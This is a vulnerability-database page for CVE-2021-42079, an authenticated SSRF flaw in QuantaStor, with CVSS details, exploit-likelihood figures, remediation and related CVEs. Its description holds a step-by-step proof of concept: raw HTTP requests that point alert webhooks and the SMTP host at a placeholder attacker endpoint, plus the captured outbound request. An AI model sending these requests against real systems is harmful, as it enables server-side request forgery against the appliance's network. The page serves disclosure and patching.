CVE & CISA-KEV Catalog

CVE-2021-42079

MEDIUM
6.2
CVSS v3
NVD

Description

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: { ### Python FLASK stuff #### 'endpoint': 'index', 'method': 'POST', 'cookies': ImmutableMultiDict([]), ### END Python FLASK stuff #### 'data': b'{ "attachments": [ { "fallback": "[122] test / test.", "color": "#aa2222", "title": "[122] test", "text": "test", "fields": [ { "title": "Alert Severity", "value": "CRITICAL", "short": false }, { "title": "Appliance", "value": "quantastor (https://<HOSTNAME>)", "short": true }, { "title": "System / Driver / Kernel Ver", "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic", "short": false }, { "title": "System Startup", "value": "Fri Aug 6 16-02-55 2021", "short": true }, { "title": "SSID", "value": "f4823762-1dd1-1333-47a0-6238c474a7e7", "short": true }, ], "footer": "QuantaStor Call-home Alert", "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ", "ts": 1628461774 } ], "mrkdwn":true }', #### FLASK REQUEST STUFF ##### 'headers': { 'Host': '<redacted>', 'User-Agent': 'curl/7.58.0', 'Accept': '*/*', 'Content-Type': 'application/json', 'Content-Length': '790' }, 'args': ImmutableMultiDict([]), 'form': ImmutableMultiDict([]), 'remote_addr': '217.103.63.173', 'path': '/payload/58', 'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####

How to fix

Remediation Available
quantastorNVD
Affected:< 6.0.0.355Fixed in:6.0.0.355CVE-2021-42079derived from NVD

Remediation is compiled from vendor and distribution security advisories. Always confirm against the linked source for your exact version and platform.

CVSS v3 Vector

Exploitability

Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredHigh
User InteractionRequired
ScopeChanged

Impact

ConfidentialityHigh
IntegrityNone
AvailabilityNone

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N

Exploit Intelligence

0.57%probability of exploitation in 30 days
43rdpercentile

Moderate risk: more likely to be exploited than 43% of all known CVEs.

References

Third-Party Advisory2
Product1
Other references2

Related Vulnerabilities

Other CWE-918 (Server-Side Request Forgery (SSRF)) vulnerabilities, ordered by exploit likelihood. View all

CVESeverityCVSSEPSSExploitedFix
CVE-2024-21893High8.2100%KEV + Ransom-
CVE-2021-40438Critical9.0100%KEVFix
CVE-2021-34473Critical9.1100%KEV + RansomFix
CVE-2021-26855Critical9.1100%KEV + RansomFix
CVE-2021-21985Critical9.8100%KEV + RansomFix
CVE-2022-41040High8.8100%KEV + RansomFix
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CVE-2021-42079 severity badge

Markdown

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This product uses NVD data but is not endorsed or certified by the NVD. EPSS scores courtesy of FIRST.org (https://www.first.org/epss). Source: CISA KEV Catalog. Data as of 2025-09-22.